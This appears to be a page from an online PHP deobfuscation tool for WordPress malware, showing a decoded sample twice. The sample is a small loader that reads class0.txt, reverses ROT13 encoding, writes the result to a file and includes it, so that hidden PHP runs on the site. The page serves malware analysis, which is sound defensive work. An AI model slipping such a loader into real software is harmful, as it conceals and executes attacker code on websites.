PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

44<?php
$ss = file_get_contents("class0.txt");
$ss = str_rot13($ss);
echo $ss;
file_put_contents('class0', $ss);
include 'class0';

44<?php 
$ss = file_get_contents("class0.txt");
$ss = str_rot13($ss);
echo $ss;
file_put_contents('class0', $ss);
include 'class0';